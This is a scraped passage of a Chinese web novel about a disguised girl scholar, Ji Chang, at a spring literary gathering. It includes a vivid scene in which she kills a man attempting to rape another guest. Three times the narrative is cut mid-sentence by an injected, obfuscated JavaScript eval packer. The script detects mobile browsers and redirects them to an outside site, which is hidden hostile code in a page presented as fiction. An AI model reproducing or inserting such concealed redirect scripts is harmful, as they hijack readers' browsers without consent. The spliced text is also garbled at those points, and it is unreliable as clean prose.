平日里他是最会挑刺的,挑的最多的自然是以季昶为主贺兰双子为辅的三人组,这下连他都能说出这话,其他夫子也都点头。 是有些不同了,假期之前的季昶聪慧有余城府不足,过于急着展示自己,这个学期来了后倒是沉寂了下来,像是归鞘的利剑。 季元鸿淡淡一笑,点点头表示赞同。 沈闻芳也没说什么其他的,只是感慨了一声后就跟季昶在门口等候招待到来的文人雅士。 他其实觉得昶儿这件衣服还挺好看的,有些特别的感觉,余光又看了一眼板着脸装大人的季昶嘴边不由得笑起来。 “哟,他俩人穿的倒是挺和谐。”长孙明轩今日穿着一身萱草色拼橘黄色长衫,腰间挂着白玉佩饰,头上佩绸缎镶宝簪花,显得格外贵气又精神。 远处二人一高一矮,身上的服饰色彩也一明一暗,偏偏二人又站的十分近,举止也较一般同窗亲昵,让人一看就知道他们关系很不错。 温昭低着头喝茶,没有接话。 他今日简单穿了一件青色长衫,腰上挂着香囊和白玉长笛,头上除了一根镶玉青色额带没有其他装饰,整个人十分低调。 长孙明轩今日没什么兴致,刚刚也不过是看到了季昶随口说一句,见温昭并无兴趣也就继续聊刚刚二人的话题。 “你可是跟你父兄说好了?” 刚刚温昭说自己想去跟着季元鸿下次一起游历,这对于温昭来说自然是十分简单的事,只要家里人同意老师那边就是一句话的事。 他本就是书院里的优等生,也即将束发,况且温家二郎要去那一行人就不必担心银两不够的事了。 “家中父兄本就十分赞同族中孩子长大后应当行万里路,这点倒是不必多虑。”温昭浅笑着,似乎刚刚那一幕并未对他产生什么影响。 “如此甚好。”长孙明轩是琉光长孙氏嫡脉唯一的孩子,自然对他看管的格外严些,而他之所以能来云澜求学不过是怕留在琉光掺和进那堆腌臜事里,若不是长孙氏现下形势严峻也不至于要长孙茹雅进宫转圜。 “长孙兄可有想法?”温昭那日说他听季元鸿讲话入迷倒也不完全是搪塞他的话,当时长孙明轩的确对外边的事十分感兴趣。 长孙明轩上辈子在长孙家当了家主后过得并不自在,后来在族中找了个有天分的小辈当继承人后就出去寻自己的道了,那时各地战乱纷飞也不知后来行踪。作为他的好友,温昭自然是希望他能早日寻得自己的道,况且他现下正因为长孙茹雅的事心里不痛快,出去散散心也是好的。 “再说吧。”长孙明轩轻笑一声。 温昭也没再劝他。 书院位于云澜郡主城南侧,离南门较近,一旁还有一片小乔木林,三月三正是花开争艳的季节,此次集会也是主要设在这片花林前的空地上。 递过拜帖的大多都来了,里头有许多之前考教季昶学问的,看到门口的季昶自然是跟她打招呼,季昶也笑着跟他们寒暄,基本上哪个人姓甚名何、籍贯何处、擅长什么季昶经过那几日的跑动也早就记了个七七八八。 来参加集会的文人们在门口记录一下个人信息便有书院弟子领着进场地内落座,届时他们可以与天南海北到访于此的文人雅士们探讨学问,或舞文弄墨、或曲水流觞、或相对清谈,总之热闹非凡。 集会免费提供酒水餐食、笔墨纸砚,每场活动旁还有专门的书院学生负责记录精彩的诗赋或观点等,待集会结束统一集合成册。 雅会持续三天,第一天不设什么规则,大多是文人们各显神通相互结交的时间。 站了一早上,又跟许多人寒暄半天,季昶身心俱疲,嗓子都要冒烟了,看了一侧的沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244525|166333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻芳也不比她好多少,思忖片刻她对沈闻芳道:“闻芳师兄,现在人也来的差不多了,不如待会咱俩一个时辰换一趟班如何?” 沈闻芳也点点头:“昶儿思虑的是。” “闻芳师兄,你先去吃些茶点吧,这边有我和诸位同窗看着出不了什么差错。”季昶看沈闻芳的嘴唇都有些发白了。 周围其他弟子也纷纷附和,沈闻芳今早本就没怎么吃东西,这会儿真有些身子不适,就没有硬撑。 其他弟子大多是负责引来客去就坐的,所以是几班倒,渴了累了就在席上歇会儿,比他俩吉祥物好过些。 刚刚有几个弟子偷偷给季昶他们带了些茶水糕点,但当时正好人多他俩也就都没顾上吃,这会儿人少了季昶偷偷从一旁的弟子哪里拿了过来。 “帮我看着人。”季昶边吃边吩咐,一旁几个弟子十分痛快答应。 平时在书院因为她身份的缘故就很受弟子们的好感,加上她为人洒脱好说话,且年少聪颖又不像那些世家子弟总爱端着——一副不愿意与庸人交流的派头——大多数学生都很乐意跟季昶来往。 茶水早就不热了,凉茶混着甜腻的糕点下肚,虽说不上好吃,但至少比刚刚饥肠辘辘又口干舌燥好多了。 “季昶!”远远的,熟悉的声音又传了过来,是奔跑的贺兰灏。 这小妮子和贺兰逸负责看着宴会上果盘,看哪里不够了就命人去添上,总之是个清闲差事。 她觉得这完全埋没了自己的才华,宁愿过来跟季昶一起当吉祥物,倒是贺兰逸那个小胖子这会儿还在席上看着果盘,估计正在“监守自盗”。 “你怎么来了?不去看着贺兰逸,他万一又吃多了果子回去肚子疼。”季昶一把抱住跑的刹不住的贺兰灏,看着她跑的脸红彤彤的,夺过一旁的茶壶就要喝。 “这茶凉了。” 话音刚落贺兰灏就已经喝了,季昶只好无奈的看着她毫无仪态的喝完,随后豪迈的用衣袖一抹嘴。 “我这不是看闻芳师兄过去了,就想替他的班嘛。”随后靠近季昶身旁小声说道:“还是跟你一块好,不用看贺兰逸那个就知道吃的蠢蛋。” 忽然起风了,有花瓣飘落,贺兰灏眯了眯眼怕有东西吹进眼里,待风停了就看季昶突然靠近。 一时间不知道是花香还是她身上的熏香充盈了贺兰灏整个鼻息,她感觉空气都停滞了许多,看着季昶伸手摸上了自己的头。 “好了。”刚刚有片叶子落到了贺兰灏头上,季昶随手帮她拿掉又给她戴上了一朵方才跟其他人一起摘的桃花。 季昶靠远了些,看着贺兰灏戴着花十分满意的笑着道:“人面桃花相映红。” 待听到她说完这话,贺兰灏才反应过来,看着周围有许多同窗看向自己,又有些不好意思,脸上还有余热小声道:“你干嘛呀季昶,真是......” 要是季昶是男子就好了。 在她俩都还小的时候季昶就偷偷跟她说过自己是女子,所以她可以说是除了月家那几位唯一知道这个秘密的人,连贺兰逸都没告诉。 她记得当时季昶跟她说过,女子的身份从来不是劣势,总有一天她会正大光明向这个世界证明,女子可以做成任何事。 想到这儿,贺兰灏又觉得季昶还是女子更好。 14. 雅会·贰 日落西山,雅会上的文人们三两成伴约着在云澜城里玩乐。 上辈子季初没跟着他们一块去,一来男女有别,那时季初已经表明了自己女子身份了,有些场合总归不太方便。二来,她当时已经作完一首赋,扬名的目的达到了,再去也意义不大。 不过这辈子她思考了一下后就很快跟着他们去喝酒了,地点当然还是在月家开的酒楼里。 酒楼的管事一看少东家来了,马上招呼他们上二楼雅间,几个之前就知道季昶身份的文人纷纷开玩笑说要“借季贤弟的光”,不知道的几个跟着笑完也明白了。 雅间内一时间响起快活的声音。 长孙明轩和温昭也跟着来了,上辈子他俩也没参加,当时长孙明轩想来但是一看温昭不来也就没个一块说话的,觉得没劲就早早回家了,这辈子反而是被温昭拉着一块来的。 温昭本就不善酒力,基本喝的都是茶水,但在座的文人里也有不少士族、寒门出身,一听他温家二郎的身份也无人敢说什么,反而是好多人想跟他结交,不停跟他找话题。 温昭也微笑着从容应对。 长孙明轩白天就喝的不少,刚又喝急了,说是出去透透风,这会儿还没回来。走的时候也吩咐不让人跟着,长孙家的那几个下人找了好几圈都没找到自家郎君,这会儿急得要命。 酒楼小厮进门在季昶身边耳语了两句,把情况说明了一下。 她笑着点点头,跟诗语吩咐了几句后与席间众人招呼了一声走出房间,笑意瞬间消失。 “刚刚长孙兄没有让你们跟着?” 她问的是长孙家的下人,那几个人本来就慌得要命,被季昶这么一问更是腿软,有一个直接吓得跪在了地上。 跟丢了主子,这万一有个三长两短,别说琉光那边了,云澜这边的长孙家都得把他们活剥了。 “季郎君,刚我家郎君执意不让咱几个跟着……我们也里外都找了,结果在月家酒楼里走丢了,这……”有个打扮略体面的下人一看就是这些人的领班,虽然也慌但是看到季昶就又挺直了腰板。 “呵。”季昶冷笑不语。 还威胁上月家了。 另一个长得机灵的下人连忙上前告饶:“季郎君,您别生气,这事儿都是奴几个的过错,刚刚钱哥也是着急我家郎君口不择言了,您大人有大量。”说完跪下开始磕头,边磕头边说:“奴几个也是着急郎君,怕出了什么万一。” 那被称作“钱哥”的下人听完这话一阵冷汗冲上后背,哆哆嗦嗦的跪下也开始磕头:“是……是小的刚刚说的不对,您见谅,您见谅!”他刚刚也是着急了,全然忘了这季昶再怎么也是年少成名的神童,不是他一个家奴能威胁的。 “你们最后跟长孙兄分别是在什么地方?”季昶无视了钱三,看着那个机灵的下人。 “回郎君的话,在楼梯那边。”机灵下人连忙爬起来跟上季昶,那几个长孙家的下人也跟在后头。 “后院去过了吗?”这个酒楼一楼还连着个后院,那边有大片芍药和一摊鱼池,景色美不胜收,许多来这儿的客人都喜欢去那边喝酒。 “都沿着路找过了。” 季昶皱起了眉头,今晚来这个酒楼喝酒的大多是参加雅会的,虽然好几波但各自之间也有认识的,所以长孙明轩又去别的雅间喝也说不准。 她叫来了月家酒楼的管事,把情况说了一下,管事立马知道事态的严重,向长孙家的下人们细细问过他的特征打扮后就命人去找了。 “别弄得大张旗鼓的。”季昶吩咐了一句,酒楼管事立马表示明白。 一炷香后,有个婢女悄声凑上前来,说在后院看到了疑似长孙明轩的人,季昶闻言让她带路过去。 酒楼管事顿了顿,表示自己还有事要做,没有跟着前去。 季昶看向大厅里隐在一侧的砚秋,示意她在此盯着。 待几人过去,才发现长孙明轩醉倒在芍药丛里,衣襟大敞,面色绯红,喉结上不知是沾上了酒液还是汗水,慢慢从雪白的脖颈上滑落。 花前月下,一派旖旎景色。 周围下人都不敢抬头,怕看到什么不该看的。 可惜季昶现在没有怜香惜玉的心情,蹲下用手轻拍了拍他的脸:“长孙明轩?醒醒。” 这几下似乎给他拍舒服了,他呓语了一句什么后又睡着了。 季昶捏住他鼻子,很快长孙明轩就猛的咳嗽一声,醒了过来。长孙家的下人连忙上前去把自家郎君扶起来,刚刚他们可不敢动,季郎君也太大胆了。 “咳咳……你……咳……”他咳嗽了几声后整个人也醒了过来,虽然还是有些晕但好在不至于再昏倒在花丛中了。 “长孙兄可算是醒了。”季昶悠悠说道。 “刚才把您身旁的下人都急得威胁上我们月家了。” 话音刚落,钱三就吓得跪了下来,一阵风吹过,他身后冒出的冷汗凉得他打哆嗦。 长孙明轩也清醒了过来,皱着眉看向季昶,又看了看跪在地下面如土色的钱三不需多问就明白发生了什么。 “是我没管好下人,对不住。” 他没再看钱三,被下人们扶着准备往回走。 钱三不敢说什么辩解的话,却知道自己算是完了,一时间懊悔的不行,只恨自己怎么就得意忘形谁都敢得罪。 “所以长孙兄打算如何处置这个下人?”季昶看着他的背影悠悠发问,“跟那日的阿初一样吗?” 周围的下人们立马屏息敛声,本就提着的心更是悬在了嗓子尖。 长孙明轩停步。 “不合规矩的下人,就得惩罚。”他淡淡地说。 季昶点点头,表示赞同:“说的是。” 二人沉默,却无人离开。 长孙明轩回头,看向她:“季昶。” “嗯?” “你认为他说的是对的?” 长孙明轩注视着季昶,想看透这个十二岁的少年,却见季昶像是听到了什么极为好笑的事,笑歪了头。 “阿初说的对不对,你自己去看看不就知道了。” 温昭找来时就听到季昶这样说道,他停住脚步拦住旁边的小厮,没有上前。 那边陷入了沉默,许久后长孙明轩说“好”。 随后就听他朝这边走过来了。 温昭装作不知情般走过去,就见长孙明轩明显在想着什么,没有看到自己。 “明轩兄,”温昭浅声唤他,“原来你在这儿。” 长孙明轩下意识看向季昶方向,正好被树影挡着,这个角度不仔细看不到那边。 他冲温昭点点头,莫名地加快了脚步。 温昭看到远处正在跟自己悄摸打招呼的季昶,嘴角微微上扬,装作没看到她,转身跟着长孙明轩走了。 “明明看到了,怎么还装作不知道。” 季昶低声嘀咕了一声。 她有些搞不懂这个男人的脑回路,索性就不去想,看着在一旁默默候着的那名侍女,问:“你叫什么?在何处当值?” “回郎君的话,奴贱名阿青,就在这后院当值,负责侍弄花草和池鱼。”阿青狠狠捏着自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244526|166333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己手心,怕自己回话的声音颤抖,手中和后背早就起了一身的汗。 季昶点点头,这姑娘胆大心细,刚刚的场面好多下人都吓破胆了,唯恐今日之事受到牵连,她还面不改色。 且刚刚长孙明轩的位置确实隐蔽,又加上他穿的衣裳与四周花色相近,莫说晚上,就算是白天也难找。她却在一炷香内就找到了,说明对园子很了解又有一定洞察力。 不错。 “那你可知这周围有何安静去处?”她还从没逛过这院子,现下也并不想回去喝酒,索性逛逛园子赏花观月。 “回郎君,穿过那边的月洞门有一处小轩,地方清幽。” 季昶点头,让她带过去。 这处与其说是清幽,不如说是偏僻,如果不是阿青带路连月洞门都藏在花树间,且大多是竹林假山,除了她这个特意讨清净的,也没人过来了吧? “郎君……”阿青刚要帮季昶擦净小轩内的凳子,就被她一把抓住,捂住了嘴。 “嘘。” 她刚才进园子就好像听到有动静,方才以为是风吹的竹林作响,这会儿还听到有佩饰与布料摩擦的声音,就在假山后那片竹林里! 她挑眉,不会是让我碰到野鸳鸯了吧。 阿青眨眨眼,她什么都没听见,但也不敢乱动,怕出声影响了季昶。 却在这时,季昶闻到风中似乎有淡淡的血腥气,那边的动静也愈发大了起来。 她脸色一变,随手却没带佩剑,看着阿青头上的素簪心念一转,轻声道:“可否借用一下?” 阿青立马明白过来,将簪子干净利落的拔下递给季昶。 季昶掂量一下,大概是铜簪,看花纹磨损程度似乎已经有些年头了,不过好歹有个可以防身的武器,必要时一击致命即可。 她让阿青找个地方躲着别出来,拿着簪子缓步上前,慢慢越过假山,来到后侧的竹林里。 月被云遮住了,竹林又被风吹得沙沙作响,若不是她耳目清明也注意不到这边的动静。 “呜......”一声短暂的呜咽从那边传过来,随后是激烈的挣扎和一声恶狠狠的低声谩骂,虽然刻意压着嗓子但季昶也凭借这动静大概锁定了位置。 越靠近,激烈的挣扎声越大,那股似有似无的血腥味也逐渐凝结成实体,钻入季昶鼻腔,她加快了速度却注意没有发出额外的声音。 月光被云完全遮蔽住了,四周暗了下来,只剩竹叶沙沙和这边挣扎的声音。 身后的石头已经将他的皮肤磨破,后背鲜血淋漓,但南玖顾不上疼。 今天他本是来参加三月三雅会,晚上跟着来这酒楼里喝酒。 却在刚刚被这个不知从哪里冒出来的外藩人一把掳走,到这个偏僻处欲对他行不轨之事! 他一时红了眼,也顾不得疼不疼,左手臂已经被掰折了却死死挣扎。 “呵呵,长的和兔儿爷似的,你还演上烈性了......”那外藩人说着一口并不流利的中原话,夹杂着几句他们那边的脏话,狠狠吐了他一脸,带着恶臭的浓痰让他几欲作呕。 那双大手狠狠捂住他的嘴,像钳子般抓的南玖几乎要窒息,另一只手还在不停的撕扯着本就衣不蔽体的衣衫。 腰间的玉环掉在地上,被那外藩人一脚踩着却无人在意,生理性的眼泪在眼眶中打转,南玖死死忍住不流下。 他想,我要这个人死。 他一定要杀了他! 却见一把素簪猛的出现,插在了那外藩人的脖子上! 那大汉动作瞬间停了下来。 15. 雅会·叁 季昶赶到时看到一个巴木大汉正在动作粗鲁的强迫他人,被强迫的人被铁塔似的身躯挡着,一时间也不知道情况如何。 但季昶也没有鲁莽,她现在身量未长开,顶多因从小习武比平常十二三岁的孩童高些强壮些,但对比那个胳膊比她大腿粗的大汉,还是选择偷袭比较保险。 于是,当素簪猛的刺入那巴木人的脖颈时,季昶突然在心中涌起一个想法: “这么高大的身躯,脖子也还是弱点。” 她手腕猛的用力向后划,血一瞬间溅起三尺高,撒在了呆愣着的南玖脸上。 那大汉想回头,却感觉眼前阵阵模糊,手下的南玖挣扎着逃出来,想再去抓回来却怎么都使不上劲。 季昶一脚踢到他腿弯处,将他踹倒在地,冷眼看着那大汉的嘴里发出“喀喀”的声音,想挣扎着爬起来在地上蜷曲抽搐。 一旁的南玖却猛地上前,把他脖子上还留着的素簪拔出来,死死握着然后快准狠的刺向那个人的眼球。 随后在那大汉渐渐微弱的哀嚎中,南玖刺完最后一下,簪子卡在了那一滩早已血肉模糊不成人形的肉上,他整个人也脱力地倒在一旁。 季昶看到那人的身形,猜测这人是个士族公子,虽然衣服破烂不堪了,头发上的装饰也大多散落在一旁,却能看出至少不是一般人。 她看着那人,越看越觉得眼熟,又碍于光线不好只能看个轮廓,心想或许之前在宴会上有过一面之缘,却怎么也记不起他是哪家的公子,挑了挑眉转身准备离开,那人却爬过来一把抓住她的鞋,用嘶哑的声音问道:“你去哪?” “找个人给你拿件衣服。” 季昶顿了顿,看着那人红着一双眼盯着自己,又加上一句:“放心,待会我会守在你身边,没人来。” 那人却死死抓住她,额头上的血流进眼里,他也任由它,只是用尽全力抱住她的脚踝不松手。 “或者……你可以接受穿他的衣服?” 那人顿了顿,狠狠点头。 她其实也不知道可以去哪儿找衣服,这人虽然看起来瘦弱却身量高挑,也就是刚刚那个外藩人长得高大把他衬得好像不怎么高,实际上比一般成年男子都高半个头。 自己常穿的衣物他必然是不合身,刚刚其实是有想过去借件小厮的衣服碰碰运气。 不过现下这人不让自己走,他自己的衣服又勉强挂在身上,衣不蔽体怕是一走就掉下来了。 季昶转过身去,听着背后那人悉悉索索地弄着衣物。 南玖看着地上这个惨死的人,只觉得心里无比痛快,也不在乎他身上衣服有多臭多脏,将衣服扒了胡乱套在身上,用衣带随便固定两下确定暂时散不了就好。 他只想尽快离开这里。 却又一摸腰上的玉环不见了,只好趴在地上找着,但是他的眼睛之前被那个外藩人打过,其中一只有些看不清,又因为头上的血不停地流进去更是难以睁眼,只能在地上着急地摸索着。 “怎么了?”季昶不想惊动他,但是听到那边的动静不太对,于是轻声问道。 “玉环不见了……”南玖一边拖着破碎的身躯在地上爬着,一边用能看到的那只眼睛在没有光亮的夜里寻找那个玉环。 那是他母亲留给他的东西,他最后的念想了。 季昶心念一动,转身确定他衣服穿好后帮他在地上找着。 云层被风吹散了,月光渐渐显露出来,那人的身形渐渐显露出来,季昶更加觉得他眼熟,刚在想着这人究竟是谁的时候看到了刚刚那块石头旁的地上有枚反光的玉环。 她低头拾起,借着月光看清了这玉环的真面目,一瞬间埋藏在脑海中的记忆涌了上来。 是他。 “这个是你的吗?”她哑着嗓子问那人,对方刚刚趴在地上闻言抬起头看向季昶,露出了那张令她眼熟的脸,月光下那人竟生出一股楚楚动人的意味。 “是……正是它!”他笑了起来,看起来如此天真烂漫,令人动容。 南玖颤颤巍巍地从地上爬起来,上前接过玉环,如获珍宝般不停用手摩挲着这块成色并不十分好的玉环。 一时间,季昶感觉自己的血好像凉了,又好像自己置身于梦境中,看着这张熟悉的脸上露出的表情居然那么陌生。 她努力让自己平复下来,却在听到他话出口时又忍不住心里一沉。 “南玖,多谢郎君……”他想像普通士族公子那般向季昶行大礼,却是腿一软栽倒在季昶怀里,意识消失前只闻到季昶身上淡淡的木质熏香,便安心地昏过去了。 阿青找了片竹林里藏着,听到假山那边似乎有动静,又想起刚刚郎君说过的话,更是一动也不敢动。 “阿青。” 听到郎君唤她,阿青才敢出来,却看到自家郎君怀里抱着一……条人。那人还那么长一条,看起来要把郎君累坏了,阿青连忙上前帮着一块拖着这人。 “这边有后门或是什么侧门吗?” 他现在的情况不好被别人看到,更何况季昶还没弄明白为什么他会出现在这里,还差点被巴木人…… 总之在她搞清楚之前,这件事不宜被他人知晓。 阿青点头说有,带着她走了另一侧隐蔽的路线到了侧门,这边是酒楼平日里采买卸货的门,门外是一条无人的小路。 “拿着这个去找砚秋,她在一楼大厅那边守着,”季昶随手摘下一串腰间佩戴的玉珠,放在阿青手心里,继续道,“说我吩咐的,让她把马车悄悄赶过来。” “好!”阿青拔腿就要走,被季昶拦下,又听她道:“到时候你去二楼房间找诗语,跟她一块坐马车来月家找我。” 阿青闻言,睁大了眼睛,似乎没想到会有这样天大的好事砸在她头上,反应过来后重重点了点头。 季昶看着阿青欢快跑远的身影,又低头看了眼昏迷不醒的南玖,脸上闪过复杂的神色。 * 雅会第二日主要是定下主题,然后各文人雅士在一定时间内根据主题作诗词歌赋,或是相坐而谈。 大多数人都在猜测今年的主题会不会跟往年一样,类似于“春花秋月”之类的自然风景,但又想到今年季元鸿刚从外游历归来,说不准有什么其他见解,于是议论纷纷。 季昶和沈阅都端坐在各位老师一侧,对面还坐着一些季元鸿远道而来的老友之类,二人负责招待他们。 “上次见闻芳的时候,还刚束发,这一晃都要成人了……”其中一位老者摸了摸跟头发同样稀薄的胡子,感慨万千。 “是啊,闻芳现如今越发有先祖遗风了,也算是不辱他沈家名媚。” “老沈那个家伙泉下有知也该放心了。” 季昶在一旁继续隐身,看着正与那些老家伙们相谈甚欢的沈阅,放空大脑发起了呆。 沈阅过几日正好二十加冠,这些老人大多是季元鸿和沈阅爷爷沈阁老的昔年旧友,来这儿的目的一是叙旧二是参加他的加冠礼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250885|166333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽说小辈让这么多老人专门来观礼说出去难免让人传些不好听的,但是他要是沈阁老的孙子那就两说了。 他们沈家一直忠君爱国,两袖清风,优良家风传世,沈阁老一辈子可谓是鞠躬尽瘁,唯独家里人丁凋零,白发人送黑发人,沈阅父母皆因疾病去世,最后沈家主支只剩下了他和尚且年幼的沈阅。 最后弥留之际看着还未成人的沈阅,含着泪为他起了“闻芳”这个字。 这些老友们叫着“闻芳”时,又何尝没有想起沈阁老当年临死前的模样。 似是感受到季昶的眼神,沈阅坐下时回头看了一眼她,见她只是在发呆于是笑着把桌上的糖水端到她桌上,他看刚刚季昶桌上的糖水碗空了,猜她或许喜欢吃。 于是趁着沈阅不注意,旁边伸出一只小胖爪又悄悄把那碗糖水端走了。 季昶感受到动静,无语的看了身旁一眼,不是贺兰逸又能是谁? “少吃点,不然肚子疼。”季昶低头轻声跟他说,贺兰逸仰着头满嘴狂塞,顾不上季昶说了啥只是点头。 贺兰灏不知道去哪儿了,不然肯定不能任他这样吃。 时辰已到,众人都翘首望着端着盘子的书院弟子,托盘上是今日的主题。 主要是为了图一乐,所以定下的主题就是一个“乐”字,这个确实简单,所以当弟子将这一字展开挂于中央时,许多人都有种被口水呛了一下的错觉。 季元鸿像是搞了个恶作剧后十分开心,朗声笑着出声道: “哈哈,诸位才子,请!” 季昶不得不承认这老头有时候确实有些恶趣味,接过一边侍从递过来的纸和笔,心里琢磨着怎么把这一环节混过去。 沈闻芳正在低头认真写着什么,估计是有什么灵感来了,一转头贺兰逸那小子正咬着笔头,一副“别为难傻子读书”的样子,呆呆望着纸。 对面那几个老友们正在各自交谈甚欢,一侧正是长孙明轩和温昭的位置。 长孙明轩不在位上,也不知去哪儿了,温昭正在看着自己,季昶猜他或许有什么想法了,于是托着下巴朝他挑了挑眉,就见温二公子低下了头,仓促间拿起一旁的笔,低着头装作很忙的样子。 啧。 季昶只好低下头打算随便写一篇什么应付过去,总之她肯定不会像上一世那样做出那么中二的事了。 “郎君,当心烫。”一旁的仆从轻声上前给众人倒水,季昶心中有个想法慢慢浮现。 于是当茶水倒满时,季昶随手一扫就“不小心”将水倒在了桌上,还洒到了身上。 “郎君!”仆从在一旁低声呼喝,这些仆从大多是月家的,所以对待季昶这个主子自然是格外上心。 “无妨。”季昶将茶杯摆放整齐,将桌上已经湿透的纸捏起来,的确是无法再用了。 沈闻芳注意到这边的动静想说什么,就见季昶只是笑着摇了摇头,唤这个仆从将这些东西收拾好。 其他人闻声看向这边,就见季昶低声皱眉的跟季元鸿他们说着什么,随后离席了。 他们大概猜测到发生了什么,也只是觉得太可惜了,毕竟谁能想到这种扬名的场合会有人故意错过呢。 沈闻芳看着季昶离开的身影也为她惋惜,在他看来昶儿聪慧过人,这次雅会抓住机会必然会名扬天下。 贺兰逸看季昶走了他也不想待了,反正他也写不出什么二三四五六的,偷偷溜去找季昶了。 温昭目送季昶离去,若有所思。 16. 雅会·肆 雅会总共隔了好几个区域,大多用屏风或是帷幔做隔断,刚刚在那儿作诗的区域是中间区域,也是人最多的区域。 季昶这会儿刚从屏风帷幔间出来,就听身后屁颠屁颠跟上来一个人,一回头不是贺兰逸又是谁。 “你也出来了?” “你不在那儿我也没心情作诗。”贺兰逸答。 季昶没拆穿这小子,整了整衣袍,其实刚刚撒上去的水本就不多,这会儿风大几乎都吹干了,她也没有回去换衣服的必要了。 于是她打算去别的区域看看。 “走,去那边逛逛去。” 贺兰逸这才明白过来自家小伙伴出来的目的,早知道他也早就这么干了,心里暗道可惜。 “你知道这边是干什么的?”贺兰逸卖弄地指着一边的区域。 隔着屏风和盆栽植物等,也看不太清那边在干什么,不过季昶倒是看到了一个熟人,故意问道:“总不能是那些作画的吧?” 贺兰逸本想向小伙伴证明一下自己不是除了吃啥也不知道的笨蛋,结果季昶居然知道,于是垮着脸:“算你猜的准。” “哦?那你这差事干得不错啊,一天的功夫就把这附近都摸熟络了。” 贺兰逸被季昶这一顿捋毛,顿时又开心了起来,小声道:“这边的果子饮好喝,比刚刚那块的更甜些。而且......” “刚刚贺兰灏就是来这边了。” 季昶看着贺兰逸贱兮兮的表情,心想肯定有什么其他事,于是顺着他的话问下去:“她来这边干啥了?” 贺兰逸又贱贱一笑,道:“她昨日就看上了一个画画的,今天一早就去那边蹲守了。” 季昶顿时感觉稀奇,于是问他怎么回事。 林榆昨日在这边画了一天,也是借那日在客栈里季昶给他造势的光,这两日有许多人都主动过来与之结交,又加之他本身画技精湛的确收到无数人追捧,仅仅一天时间就名声大噪。 现下他刚作完一幅画,抬头寻找人影,刚刚他作画时仿佛看到了季昶小友。 贺兰灏就在这时上前跟林榆搭话,却看到他在人群中找着什么,于是顺着他的视线看到了贺兰逸和季昶。 恰好,这时贺兰逸正指向林榆那边,跟季昶说着什么,季昶的视线一下子跟林榆对上,林榆笑着向她走去。 贺兰灏也抓紧时间上前,不用她想就知道贺兰逸那个狗东西的嘴里吐不出什么象牙来,可千万别让季昶误会了。 就听那边林榆跟季昶一副老友口吻,似乎相谈甚欢。 “育之兄今日依旧夺目啊。”季昶笑着,半开玩笑地跟林榆拱手。 林榆只是摆手谦虚,转头看向了贺兰逸,如果他刚刚没感觉错,这个小友似乎也正谈论着自己,但林榆也不敢贸然询问,只是又看向季昶。 季昶了然,向林榆介绍道:“这是贺兰将军家中侄子,贺兰逸。” 季昶说完,贺兰逸装腔作势地向林榆行礼,似乎刚刚背后里小声蛐蛐的不是他一样,只是心中暗自嘀咕什么别人就未可知了。 在大乾提到“贺兰将军”的大名,几乎所有人都能想起那个少年战神,又加上这还是在云澜,更是让林榆一瞬间肃然起敬,忙与贺兰逸回礼。 “贺兰将军大名如雷贯耳,在下早仰慕已久。”林榆情真意切的说完,看向贺兰逸的目光都变了。 这也难怪,贺兰家本就祖上出过一些将军,贺兰骏还是少年英雄,威名赫赫整个大乾北方几乎无人不知。 几人又说了一些话,林榆就与季昶二人告辞了,贺兰灏这才走上前。 “你们早就认识?”贺兰灏惊喜的问着季昶,早就认识就好办了。 “是啊,前几日在客栈里就见过育之兄了。”季昶说完,看着贺兰灏更高兴了,怀疑不会真让贺兰逸那小子猜对了吧,于是问道:“怎的了?” “那你可知他画技精湛?特别是那一手花鸟,简直像活了那般!” 季昶这才感觉自己被贺兰逸那小子带到坑里去了,刚要说什么就听贺兰逸打断道:“这就是你一大早就来看人家的理由啊?” 声音贱兮兮的,还带了浓浓的不屑,似乎是觉得有什么可看的。 “贺兰逸!我来是有正事,你能不能别一天天脑子里除了吃就是这些话本子上的事?”贺兰灏深感收到了侮辱,牙恨得痒痒的,作势要去锤他。 贺兰逸转身躲到季昶身后,然后嚷嚷道:“你又正事了?话本子你看没看吧!那你说你一大早盯着一个长相俊朗的公子看是个什么正事?” 周围有不少人听到嚷嚷声看过来,贺兰逸也知道自己似乎话说的太大声了,一下子捂住了自己的嘴,被贺兰灏按着揍了两拳。 季昶看着他俩又要闹起来,赶紧给他俩拉开,拖着去一旁树林无人处,贺兰家的仆从也赶紧跟上。 唉,这一天天的。 季昶大概知道贺兰灏是为那一手画技去的,刚刚贺兰逸一嗓子嚷嚷的让贺兰灏顿时觉得面子尽失,这会一点都不想理他,贺兰逸只是捂着自己的嘴,也反应过来自己应该是误会贺兰灏了,但一时有些下不来台。 季昶让家仆们都离得远了些,周围只剩下她仨人了,然后严肃的抱着臂看着他俩,道: 